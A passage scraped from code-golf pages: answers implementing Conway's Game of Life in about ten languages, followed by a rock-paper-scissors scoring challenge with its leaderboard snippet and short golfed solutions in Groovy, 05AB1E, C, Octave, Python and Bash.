S$=CHR$(0)+CHR$(&H4D)THEN X=(X+1)MOD 80:GOTO 30 110 IF S$="c"THEN CLS:GOTO 20 120 GOTO 40 130 Z=PEEK((Y*80+X)*2):IF Z=42 THEN Z=32ELSE Z=42 140 POKE(Y*80+X)*2,Z:GOTO 40 150 LOCATE 1,1,0:ON KEY(1)GOSUB 320:KEY(1) ON 160 V!=TIMER+.5:FOR Y=0 TO 24:FOR X=0 TO 79:N=0 170 Z=FNP(X-1,Y-1):IF Z=42 OR Z=46 THEN N=N+1 180 Z=FNP(X,Y-1):IF Z=42 OR Z=46 THEN N=N+1 190 Z=FNP(X+1,Y-1):IF Z=42 OR Z=46 THEN N=N+1 200 Z=FNP(X-1,Y):IF Z=42 OR Z=46 THEN N=N+1 210 Z=FNP(X+1,Y):IF Z=42 OR Z=46 THEN N=N+1 220 Z=FNP(X-1,Y+1):IF Z=42 OR Z=46 THEN N=N+1 230 Z=FNP(X,Y+1):IF Z=42 OR Z=46 THEN N=N+1 240 Z=FNP(X+1,Y+1):IF Z=42 OR Z=46 THEN N=N+1 250 Z=PEEK((Y*80+X)*2):IF Z=32 THEN IF N=3 THEN Z=43 260 IF Z=42 THEN IF N<2 OR N>3 THEN Z=46 270 POKE(Y*80+X)*2,Z:NEXT:NEXT:FOR Y=0 TO 24:FOR X=0 TO 79:Z=PEEK((Y*80+X)*2):IF Z=46 THEN Z=32 280 IF Z=43 THEN Z=42 290 POKE(Y*80+X)*2,Z:NEXT:NEXT 300 IF TIMER<V!GOTO 300 310 IF INKEY$=""GOTO 160 320 SYSTEM ``` This is the maximum-golfed version, but still featureful: upon starting, you get an editor, in which you can move with the cursor keys; space toggles bacteria on/off on the current field, `c` clears the screen, Return starts game mode. Here follows a less-obfuscated version, which also sets an initial game board with two structures (a circulary-rotating thing and a glider): ``` 1000 REM Conway's Game of Life 1001 REM - 1002 REM Copyright (c) 2012 Thorsten "mirabilos" Glaser 1003 REM All rights reserved. Published under The MirOS Licence. 1004 REM - 1005 DEFINT A-Z:DEF SEG=&hB800 1006 KEY OFF:COLOR 7,0:CLS 1007 DEF FNP(X,Y)=PEEK((((Y+25) MOD 25)*80+((X+80) MOD 80))*2) 1010 PRINT "Initial setting mode, press SPACE to toggle, RETURN to continue" 1020 PRINT "Press C to clear the board, R to reset. OK? Press a key then." 1030 WHILE INKEY$="":WEND 1050 CLS 1065 DATA 3,3,4,3,5,3,6,3,7,3,8,3,3,4,4,4,5,4,6,4,7,4,8,4 1066 DATA 10,3,10,4,10,5,10,6,10,7,10,8,11,3,11,4,11,5,11,6,11,7,11,8 1067 DATA 11,10,10,10,9,10,8,10,7,10,6,10,11,11,10,11,9,11,8,11,7,11,6,11 1068 DATA 4,11,4,10,4,9,4,8,4,7,4,6,3,11,3,10,3,9,3,8,3,7,3,6 1069 DATA 21,0,22,1,22,2,21,2,20,2,-1,-1 1070 RESTORE 1065 1080 READ X,Y 1090 IF X=-1 GOTO 1120 1100 POKE (Y*80+X)*2,42 1110 GOTO 1080 1120 X=0:Y=0 1125 LOCATE Y+1,X+1,1 1130 S$=INKEY$ 1140 IF S$="" GOTO 1130 1150 IF S$=CHR$(13) GOTO 1804 1160 IF S$=" " GOTO 1240 1170 IF S$=CHR$(0)+CHR$(&h48) THEN Y=(Y-1+25) MOD 25:GOTO 1125 1180 IF S$=CHR$(0)+CHR$(&h50) THEN Y=(Y+1) MOD 25:GOTO 1125 1190 IF S$=CHR$(0)+CHR$(&h4B) THEN X=(X-1+80) MOD 80:GOTO 1125 1200 IF S$=CHR$(0)+CHR$(&h4D) THEN X=(X+1) MOD 80:GOTO 1125 1210 IF S$="c" THEN CLS:GOTO 1120 1220 IF S$="r" GOTO 1050 1225 IF S$=CHR$(27) THEN END 1230 GOTO 1130 1240 Z=PEEK((Y*80+X)*2) 1250 IF Z=42 THEN Z=32 ELSE Z=42 1260 POKE (Y*80+X)*2,Z 1270 GOTO 1130 1804 LOCATE 1,1,0 1900 ON KEY(1) GOSUB 2300 1910 KEY(1) ON 2000 V!=TIMER+.5 2010 FOR Y=0 TO 24 2020 FOR X=0 TO 79 2030 N=0 2040 Z=FNP(X-1,Y-1):IF Z=42 OR Z=46 THEN N=N+1 2050 Z=FNP(X ,Y-1):IF Z=42 OR Z=46 THEN N=N+1 2060 Z=FNP(X+1,Y-1):IF Z=42 OR Z=46 THEN N=N+1 2070 Z=FNP(X-1,Y ):IF Z=42 OR Z=46 THEN N=N+1 2080 Z=FNP(X+1,Y ):IF Z=42 OR Z=46 THEN N=N+1 2090 Z=FNP(X-1,Y+1):IF Z=42 OR Z=46 THEN N=N+1 2100 Z=FNP(X ,Y+1):IF Z=42 OR Z=46 THEN N=N+1 2110 Z=FNP(X+1,Y+1):IF Z=42 OR Z=46 THEN N=N+1 2120 Z=PEEK((Y*80+X)*2) 2130 IF Z=32 THEN IF N=3 THEN Z=43 2140 IF Z=42 THEN IF N<2 OR N>3 THEN Z=46 2150 POKE (Y*80+X)*2,Z 2160 NEXT X 2170 NEXT Y 2200 FOR Y=0 TO 24 2210 FOR X=0 TO 79 2220 Z=PEEK((Y*80+X)*2) 2230 IF Z=46 THEN Z=32 2240 IF Z=43 THEN Z=42 2250 POKE (Y*80+X)*2,Z 2260 NEXT X 2270 NEXT Y 2280 IF TIMER<V! GOTO 2280 2290 IF INKEY$="" GOTO 2000 2300 SYSTEM ``` I wrote this in 15 minutes while bored and waiting for a friend, who was code-golfing with his “apprentice” for Conway’s Game of Life at the same time. It functions like this: It immediately uses the 80x25 text mode screen buffer (change the initial `DEF SEG` to use `&hB000` if you’re on a Hercules graphics card; these settings work with Qemu and (slower) dosbox). An asterisk `*` is a bacterium. It works two-pass: first, birthplaces are marked with `+` and death marks its targets with `.`. In the second pass, `+` and `.` are replaced with `*` and , respectively. The `TIMER` thing is to make it wait for half a second after each round, in case your Qemu host is very fast ☺ I’m not hoping for a shortest-wins price here but for a coolness one, especially considering the initial board setup. I’ve also got a version where the game engine was replaced by assembly code, in case you’re interested… [Answer] # brainfuck (715 bytes) ``` [life.b -- John Horton Conway's Game of Life (c) 2021 Daniel B. Cristofani http://brainfuck.org/] >>>->+++++[>+>++++<<-]+>>[[>>>+<<<-]>+++++>+>>+[<<+>>>>>+<<<-]<-]>>>>[ [>>>+>+<<<<-]+++>>+[<+>>>+>+<<<-]>>[>[[>>>+<<<-]<]<<++>+>>>>>>-]<- ]+++>+>[[-]<+<[>+++++++++++++++++<-]<+]>>[ [+++++++++.-------->>>]+[-<<<]>>>[>>,----------[>]<]<<[ <<<[ >--[<->>+>-<<-]<[[>>>]+>-[+>>+>-]+[<<<]<-]>++>[<+>-] >[[>>>]+[<<<]>>>-]+[->>>]<-[++>]>[------<]>+++[<<<]> ]< ]>[ -[+>>>-]+>>>>>>[<+<<]>->>[ >[->+>+++>>++[>>>]+++<<<++<<<++[>>>]>>>]<<<[>[>>>]+>>>] <<<<<<<[<<++<+[-<<<+]->++>>>++>>>++<<<<]<<<+[-<<<+]+>->>->> ]<<+<<+<<<+<<-[+<+<<-]+<+[ ->+>[-<-<<[<<<]>[>>[>>>]<<+<[<<<]>-]] <[<[<[<<<]>+>>[>>>]<<-]<[<<<]]>>>->>>[>>>]+> ]>+[-<<[-]<]-[ [>>>]<[<<[<<<]>>>>>+>[>>>]<-]>>>[>[>>>]<<<<+>[<<<]>>-]> ]<<<<<<[---<-----[-[-[<->>+++<+++++++[-]]]]<+<+]> ]>> ] [Type e.g. "be" to toggle the fifth cell in the second row, "q" to quit, or a bare linefeed to advance one generation.] ``` [Answer] # J, 45 I thought I'd give J a try. It's not particularly well golfed yet, but I'll give it another try soon. ``` (]+.&(3&=)+)+/((4&{.,(_4&{.))(>,{,~<i:1))&|. ``` Example: ``` f =: 5 5 $ 0 1 0 0 0 0 0 1 0 0 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 f 0 1 0 0 0 0 0 1 0 0 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 f (]+.&(3&=)+)+/((4&{.,(_4&{.))(>,{,~<i:1))&|. f 0 0 0 0 0 1 0 1 0 0 0 1 1 0 0 0 1 0 0 0 0 0 0 0 0 ``` [Answer] # **Processing** 536 532 ``` int h=22,t=24,i,j;int[][]w=new int[t][t],b=new int[t][t];int[]q={1,0,-1};void draw(){if(t<9){clear();for(i=2;i<h;i++){for(j=2;j<h;j++)w[i][j]=b[i][j];w[i][1]=w[i][21];w[i][h]=w[i][2];w[1][i]=w[21][i];w[h][i]=w[2][i];}for(i=1;i<23;i++)for(j=1;j<23;j++){t=-w[i][j];for(int s:q)for(int d:q)t+=w[i+s][j+d];b[i][j]=w[i][j]>0&(t<2|t>3)?0:t==3?1:b[i][j];}a();}}void keyPressed(){t=0;}void mousePressed(){int i=mouseX/5+2,j=mouseY/5+2;w[i][j]=b[i][j]=1;a();}void a(){for(i=0;i<h-2;i++)for(j=0;j<h-2;j++)if(w[i+2][j+2]==1)rect(i*5,j*5,5,5);} ``` I believe this satisfies all of the requirements. Ungolfed: ``` int h=22,t=24,i,j; int[][]w=new int[t][t],b=new int[t][t]; int[]q={1,0,-1}; void draw(){ if(t<9){ clear(); for(i=2;i<h;i++){ for(j=2;j<h;j++) w[i][j]=b[i][j]; w[i][1]=w[i][21]; w[i][h]=w[i][2]; w[1][i]=w[21][i]; w[h][i]=w[2][i]; } for(i=1;i<23;i++) for(j=1;j<23;j++){ t=-w[i][j]; for(int s:q) for(int d:q) t+=w[i+s][j+d]; b[i][j]=w[i][j]>0&(t<2|t>3)?0:t==3?1:b[i][j]; } a(); } } void keyPressed(){ t=0; } void mousePressed(){ int i=mouseX/5+2,j=mouseY/5+2; w[i][j]=b[i][j]=1; a(); } void a(){ for(i=0;i<h-2;i++) for(j=0;j<h-2;j++) if(w[i+2][j+2]==1) rect(i*5,j*5,5,5); } ``` [Answer] # Perl, 218 216 211 202 bytes ``` $,=$/;$~=AX3AAAx76;$b=pack('(A79)23',<>)x6;{print unpack'(a79)23a0',$b;select$v,$v,$v,0.1;$b=pack'(A)*',unpack'((x7a/(x13)X4Ax!18)1817@0)4',pack'((a*)17xx!18)*',unpack"x1737(AA$~Ax$~AA$~@)2222",$b;redo} ``` (No newline at the end of this code.) Reads the starting pattern from standard input, as a text file where live cells are represented as `1`, dead cells represented as a space, lines are separated by a newline. The input shall not have characters other than these. Lines can be variable length, and will be padded or truncated to exactly 79 wide. Example input is a glider gun: ``` 1 1 1 11 11 11 1 1 11 11 11 1 1 11 11 1 1 11 1 1 1 1 1 1 1 11 11 1 111 1 ``` As the program runs Game of Life, every state is dumped to the standard output in a format similar to the input, then delays 0.1 seconds. The delay can be customized by changing the fourth argument of the select call. The game board is hard-coded to size 79x23. It is wrapped in a torus: if you leave the board on the bottom, you end up at the top; if you leave on the right side, you end up at the left side but shifted one row down. Here's an alternate version that doesn't read any input and starts from a random board: ``` $,=$/;$/=AX3AAAx76;$b=pack("(A)*",map{rand 3<1}0..1816)x6;{print unpack'(a79)23a0',$b;select$v,$v,$v,0.1;$b=pack'(A)*',unpack'((x7a/(x13)X4Ax!18)1817@0)4',pack'((a*)17xx!18)*',unpack"x1737(AA$/Ax$/AA$/@)2222",$b;redo} ``` This code is derived from [an obfuscated game of life perl program I wrote years ago](http://www.perlmonks.com/?node_id=1008395). I have changed it a lot to make the board toroidal and golf the code. This is probably not the shortest method to implement Game of Life in perl, but it's one of the less comprehensible ones. > > The board is stored in `$b` as a string of `'1'` and `' '`, one for each cell, only the whole thing is repeated at least three times. The third unpack call extracts 17 values for each cell: there's one for the cell itself and two for each of the eight neighboring cells, in an arbitrary order, and each value is `'1'` or an empty string. The cell should be live in the next iteration iff the number of `'1'` values among these 17 values is 5, 6, or 7. The third pack call concatenates these 17 values to a 18 character wide field left aligned and padded with nul bytes on the right. The second unpack call takes such a 18 wide field, dispatches on the character at position 7, unpacks the space from position 17 if it's a `'1'`, or unpacks the character from position 4 otherwise. This result is exactly the value the cell should have in the next generation. > > > [Answer] # C ~~811~~ ~~806~~ ~~800~~ ~~783~~ 753 Bytes ``` #define S(y) SDL_##y; #define s unsigned #define u s char #define _ g[i*256+j] #define L for(s i=0;i<256;i++)for(s j=0;j<256;j++) #include <SDL2/SDL.h> struct __attribute__((__packed__)){u l:1;u n:7;}g[1<<16];main(u k, u** v){S(Window*w)S(Renderer*r)S(Texture*t)uint32_t p[1<<16];S(CreateWindowAndRenderer(256,256,0,&w,&r))t=S(CreateTexture(r,372645892,1,256,256))read(open(v[1],0),g,1<<16);for(;;){L _.n=g[((u)(i-1))*256+((u)(j-1))].l+g[((u)(i-1))*256+j].l+g[((u)(i-1))*256+(u)(j+1)].l+g[(i<<8)+(u)(j-1)].l+g[(i*256)+(u)(j+1)].l+g[((u)(i+1))*256+((u)(j-1))].l+g[((u)(i+1))*256+j].l+g[((u)(i+1))*256+(u)(j+1)].l;L _.l=(_.n==3||_.l&&_.n==2);for(s i=0;i<1<<16;i++){p[i]=(g[i].l<<7);}S(UpdateTexture(t,0,p,1024))S(RenderCopy(r,t,0,0))S(RenderPresent(r))}} ``` this one might be "overkill" for being 255x255 instead of just 20, but this way I didn't have to bound check and could just cast instead ## To compile & run: ``` cc gol.c -lsdl2 ./a.out /path/to/seed ``` ## To seed it: Specify a file, the contents of the file will be read into the graph, and only the least-significant bit actually matters, I would recommend using /dev/urandom [Answer] Scala - 799 chars Run as a script. A mouse click on a square toggles it on or off and any key starts or stops generation. ``` import java.awt.Color._ import swing._ import event._ import actors.Actor._ new SimpleSwingApplication{var(y,r,b)=(200,false,Array.fill(20,20)(false)) lazy val u=new Panel{actor{loop{if(r){b=Array.tabulate(20,20){(i,j)=>def^(i:Int)= -19*(i min 0)+(i max 0)%20 var(c,n,r)=(0,b(i)(j),-1 to 1) for(x<-r;y<-r;if x!=0||y!=0){if(b(^(i+x))(^(j+y)))c+=1} if(n&&(c<2||c>3))false else if(!n&&c==3)true else n}};repaint;Thread.sleep(y)}} focusable=true preferredSize=new Dimension(y,y) listenTo(mouse.clicks,keys) reactions+={case e:MouseClicked=>val(i,j)=(e.point.x/10,e.point.y/10);b(i)(j)= !b(i)(j)case _:KeyTyped=>r= !r} override def paintComponent(g:Graphics2D){g.clearRect(0,0,y,y);g.setColor(red) for(x<-0 to 19;y<-0 to 19 if b(x)(y))g.fillRect(x*10,y*10,9,9)}} def top=new Frame{contents=u}}.main(null) ``` [Answer] # Matlab (152) ``` b=uint8(rand(20)<0.2) s=@(m)imfilter(m,[1 1 1;1 0 1;1 1 1],'circular') p=@(m,n)uint8((n==3)|(m&(n==2))) while 1 imshow(b) drawnow b=p(b,s(b)) end ``` I dont have Matlab installed right now to test it, I just golfed the code that I wrote a few years ago. Ungolfed: ``` %% initialize Bsize = 20; nsteps = 100; board = uint8(rand(Bsize)<0.2); % fill 20% of the board boardsum = @(im) imfilter(im,[1 1 1; 1 0 1; 1 1 1], 'circular'); step = @(im, sumim) uint8((sumim==3) | (im & (sumim==2)) ); %% run for i = 1:nsteps imshow(kron(board,uint8(ones(4))), []) drawnow ss(p,i) = sum(board(:)); board = step(board, boardsum(board)); end ``` * Boardsize is hardcoded but can be anything * wraps around * for user input one can change the inital board either by hardcoding another matrix or using the variable editor. Not pretty, but it works * 20 chars can be saved if the graphical output is skipped, the board will still be printed as text at every iteration. One-pixel cells which change every millisecond are not very useful anyway [Answer] # Lua + [LÖVE/Love2D](https://love2d.org/), 653 bytes ``` l=love f=math.floor t={}s=25 w=20 S=1 for i=1,w do t[i]={}for j=1,w do t[i][j]=0 end end e=0 F=function(f)loadstring("for i=1,#t do for j=1,#t[i]do "..f.." end end")()end function l.update(d)if S>0 then return end e=e+d if e>.2 then e=0 F("c=0 for a=-1,1 do for b=-1,1 do if not(a==0 and b==0)then c=c+(t[((i+a-1)%w)+1][((j+b-1)%w)+1]>0 and 1 or 0)end end end g=t[i][j]t[i][j]=(c==3 or(c==2 and g==1))and(g==1 and 5 or-1)or(g==1 and 4 or 0)")F("t[i][j]=t[i][j]%2")end end function l.draw()F("l.graphics.rectangle(t[i][j]==1 and'fill'or'line',i*s,j*s,s,s)")end function l.mousepressed(x,y)S=0 o,p=f(x/s),f(y/s)if t[o]and t[o][p]then t[o][p]=1 S=1 end end ``` or spaced out: ``` l=love f=math.floor t={}s=25 w=20 S=1 for i=1,w do t[i]={} for j=1,w do t[i][j]=0 end end e=0 F=function(f) loadstring("for i=1,#t do for j=1,#t[i] do "..f.." end end")() end function l.update(d) if S>0 then return end e=e+d if e>.2 then e=0 F([[ c=0 for a=-1,1 do for b=-1,1 do if not(a==0 and b==0)then c=c+(t[((i+a-1)%w)+1][((j+b-1)%w)+1]>0 and 1 or 0) end end end g=t[i][j] t[i][j]=(c==3 or(c==2 and g==1))and(g==1 and 5 or-1) or (g==1 and 4 or 0)]]) F("t[i][j]=t[i][j]%2") end end function l.draw() F("l.graphics.rectangle(t[i][j]==1 and'fill'or'line',i*s,j*s,s,s)") end function l.mousepressed(x,y) S=0 o,p=f(x/s),f(y/s) if t[o]and t[o][p] then t[o][p]=1 S=1 end end ``` Click on the field to add living cells. Click outside of the field to run it. [Try it online!](https://repl.it/repls/RespectfulLoudPhase) [![enter image description here](https://i.stack.imgur.com/R7s2X.png)](https://i.stack.imgur.com/R7s2X.png) [Answer] # Batch 1131 bytes Golfed version of my answer [here](https://codereview.stackexchange.com/a/242839/224870) * requires windows 10 with virtual terminal support * version has been modified to allow for input of pattern if called with custom args for Y and X axis. ``` @Echo off&Set $=Set &Cls For /f %%e in ('echo prompt $E^|cmd')Do %$%\E=%%e %$%F=For /l %%# in (&Setlocal EnableDelayedExpansion %$%/AY=20,X=20&If not "%~2"=="" %$%/AY=%1,X=%2,C=1 %F:#=n%0 1 9)Do %F:#=s%0 1 1)Do %$%#%%n%%s=0 %$%/A#21=1,#30=1,#31=1,D=1001001010 %$%t}=&%F:#=y%1 1 %Y%)Do %F:#=x%1 1 %X%)Do For /f %%v in ('%$%/a !random! %%9+1')Do ( %$%/An.%%y;%%x=%%y-1,e.%%y;%%x=%%x+1,s.%%y;%%x=%%y+1,w.%%y;%%x=%%x-1 If %%y==1 %$%n.%%y;%%x=%Y% If %%y==%Y% %$%s.%%y;%%x=1 If %%x==1 %$%w.%%y;%%x=%X% If %%x==%X% %$%e.%%y;%%x=1 %$%%%y;%%xN=}!n.%%y;%%x!;%%x+}%%y;!e.%%y;%%x!+}!s.%%y;%%x!;%%x+}%%y;!w.%%y;%%x!+}!n.%%y;%%x!;!e.%%y;%%x! %$%%%y;%%xN=!%%y;%%xN!+}!n.%%y;%%x!;!w.%%y;%%x!+}!s.%%y;%%x!;!e.%%y;%%x!+}!s.%%y;%%x!;!w.%%y;%%x! If .!c!==. (%$%t}=!t}!}%%y;%%xH!D:~%%v,1!,)Else (<nul %$%/p=%\E%[%%y;%%xH?&Title %%y;%%x 0/1: For /f %%V in ('Choice /N /C:01')Do (%$%q=%%V&%$%t}=!t}!}%%y;%%xH%%V,&<nul %$%/p=%\E%[%%y;%%xH!q!))) %F% in ()Do (%$%O=!t}:}=%\E%[! Echo(!O:,=!%\E%[?25l %$%/A!t}:H==!1&%$%t}= For /f "tokens=1-2 delims=}=" %%1 in ('%$%}')Do (%$%/A[n]=!%%1N! For %%s in ("![n]!%%2")Do %$%t}=!t}!}%%1H!#%%~s!,)) ``` ]
[Question] [ Given two string inputs of "Rock", "Paper", or "Scissors", determine the outcome of the [RPS round](https://en.wikipedia.org/wiki/Rock%E2%80%93paper%E2%80%93scissors). Output 1 if the first player wins, -1 if the second player wins, or 0 for a tie. ``` Rock Rock -> 0 Rock Paper -> -1 Rock Scissors -> 1 Paper Rock -> 1 Paper Paper -> 0 Paper Scissors -> -1 Scissors Rock -> -1 Scissors Paper -> 1 Scissors Scissors -> 0 ``` You must use the exact strings "Rock", "Paper", and "Scissors" as inputs. You may choose whether the first players' choice is (consistently) given first or second. You may alternatively take them as a single input with a single-character or empty separator. The input is guaranteed one of the 9 possible pairings of the three choices in your input format. The output should be a number 1, 0, or -1, or its string representation. Floats are fine. So are `+1`, `+0,` and `-0`. Related: [Coding an RPS game](https://codegolf.stackexchange.com/q/11188/20260) --- **Leaderboard:** ``` var QUESTION_ID=106496,OVERRIDE_USER=20260;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/106496/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # Groovy, ~~67~~ ~~56~~ 50 Bytes ``` {a,b->Math.sin(1.3*((int)b[0]-(int)a[0])).round()} ``` [Try it online!](https://tio.run/nexus/groovy#@19QlJlXkpOnoKFRnaiTpGun65tYkqFXnJmnYaKloQGU00yMNojVBbOSgCxNfbCCAE9NvaL80rwUDc1aTQ2loPzkbCUdpYDEgtQiJU3N//8B "Groovy – TIO Nexus") Turns out that the rock, paper, scissors game has a pretty cool property. Given strings a and b, take the first letter of each, this results in two of the following: `R,P,S` The exhaustive list of possible values are (When 2 choices are combined): ``` XX=ASCII=Y=Wanted output RR=82-82=0=0 PP=80-80=0=0 SS=83-83=0=0 RS=82-83=-1=1 RP=82-80=2=-1 PS=80-83=-3=-1 PR=80-82=-2=1 SR=83-82=1=-1 SP=83-80=3=1 ``` Reorganizing the list to: ``` -3->-1 -2->1 -1->1 0->0 1->-1 2->-1 3->1 ``` Gives us a sequence that looks inversely sinusoidal, and you can actually represent this formula as approximately (and by approximately I mean just barely enough to work, you could get an equation that is dead on but costs more bytes): ``` -sin((4*a[0]-b[0])/PI).roundNearest() = sin(1.3*(b[0]-a[0])).roundNearest() ``` The simplification of 4/pi to 1.3 was suggested first by ***@flawr*** and then tested by ***@titus*** for a total savings of 6 bytes. [![Equation Explanation](https://i.stack.imgur.com/2mmIc.png)](https://i.stack.imgur.com/2mmIc.png) Using groovy's double rounding properties, this results in the correct output for rock-paper-scissors. --- # [05AB1E](https://github.com/Adriandmen/05AB1E), 10 bytes (non-compete) ``` Ç¥13T/*.½ò ``` [Try it online!](https://tio.run/##MzBNTDJM/f//cPuhpYbGIfpaeof2Ht70/3@0epC6jnqAeiwA "05AB1E – Try It Online") Same answer ported to 05AB1E using the new commands added 10/26/2017. [Answer] # C, ~~50~~ 35 bytes ``` #define f(i)*(short*)(i+7)%51%4%3-1 ``` Call `f` with a string containing both players, without separator, and it will return whether the first one wins. ### Explanation: By looking at the nine possible strings, it turns out that the letter pairs on columns 7 and 8 are unique: ``` vv RockPaper PaperScissors ScissorsRock RockRock // Sneakily taking advantage of the terminating zero PaperPaper ScissorsScissors RockScissors PaperRock ScissorsPaper ^^ ``` The offset and savage cast to `short*` retrieve these letter pairs, and interpret them as numbers: ``` 29285 29545 21107 107 25968 21363 29555 27491 20595 ``` Then it was a matter of brute-force to find the `51` and `4` remainders, which applied successively reduce these numbers to: ``` 3 0 0 1 1 1 2 2 2 ``` Which is just perfect to tack yet another remainder at the end, and offsetting the result. [See it live on Coliru](http://coliru.stacked-crooked.com/a/e0257ab24cffd76d) [Answer] # MATLAB/[Octave](https://www.gnu.org/software/octave/), ~~63 54~~ 52 bytes It is very convenient that the ASCII-codes of the first letters of `Rock,Paper,Scissors` are `R=82,P=80,S=83`. If we subtract `79` we get conveniently `3,1,4`, which we will use now as matrix indices: Here a 4x4-matrix is hardcoded, where the `i,j`-th entry corresponds to the outcome if you plug in the values from just before: ``` 1 2 3 4 +--------------- 1 | 0 0 1 -1 2 | 0 0 0 0 3 | -1 0 0 1 4 | 1 0 -1 0 ``` ``` A(5,5)=0;A(4:7:18)=1;A=A-A';@(x,y)A(x(1)-79,y(1)-79) ``` [Try it online!](https://tio.run/nexus/octave#@@@oYapjqmlrYO2oYWJlbmVooWlraO1o66jrqG7toFGhU6npqFGhYaipa26pUwmhNf@nZBYXaCTmFWuoB@UnZ6vrqAckFqQWqWtq/gcA "Octave – TIO Nexus") [Answer] # [Python](https://docs.python.org/), ~~40~~ 30 bytes ``` lambda x,y:(len(2*x+y)^67)%3-1 ``` [Try it online!](https://tio.run/nexus/python3#S1OwVYj5n5OYm5SSqFChU2mlkZOap2GkVaFdqRlnZq6paqxr@D8tv0ghUSEzT0E9KD85W11HQT0gsSC1CMQITs4sLs4vKla34uIEKUsirIyzoCgzr0RDXbVYAYh07RRUU9QVVBU0EnUUknQU0sC0pqbmfwA "Python 3 – TIO Nexus") ### Background I've started with the function template ``` lambda x,y:(len(a*x+b*y)^c)%d-e ``` and ran a brute-force search for suitable parameters using the following program, then picked one with a minimal-length implementation. ``` RPS = 'Rock Paper Scissors'.split() g = lambda x,y:2-(94>>len(6*x+y)%7)%4 r = range(1,10) R = range(100) def f(a, b, c, d, e): h = lambda x,y:(len(a*x+b*y)^c)%d-e return all(g(x, y) == h(x, y) for x in RPS for y in RPS) [ print('%2d ' * 5 % (a, b, c, d, e)) for e in r for d in r for c in R for b in r for a in r if f(a, b, c, d, e) ] ``` [Try it online!](https://tio.run/nexus/python3#ZY/BasMwEETP1lfMRVhylZKEtKUB5xuCcywtyJLsmKqykV2wvt6VG0PT5PZm2ZndmYrjCTnSolWfOMrOeJxU0/et79PHvrPNwDip44aVX6WWGEXYb1fsdXc4WOPYczY@BE5fON0RH7e8dLVhG7FZc1L86XWURJsKFZMCpYAS0AKG70ly/h/O5lgZY8ss8A/FqV4ZkngzfHsHaS2r2SgQOPIc5wWr1mNE4zCXmUVYRLz6RpLON25gKd1qpMjwBIqbNzhJZpuZbf7C@orVb9yFy6u5XLi5L0bep@kH "Python 3 – TIO Nexus") [Answer] # Pure Bash, 31 Borrowing [@Dennis's formula](https://codegolf.stackexchange.com/a/106530/11259): ``` a=$1$1$2 echo $[(${#a}^67)%3-1] ``` [Try it online](https://tio.run/nexus/bash#K8/IzElVKEpNTLFWSMnnKk4tUVAJcg3wifyfaKtiCIRGXKnJGfkKKtEaKtXKibVxZuaaqsa6hrH/U/LzUv8H5SdnKwQkFqQWcYFJheDkzOLi/KJiLhhDAaSEC6wOzIIog2iBq4HrAqvDNAPZBrApAA). --- Previous 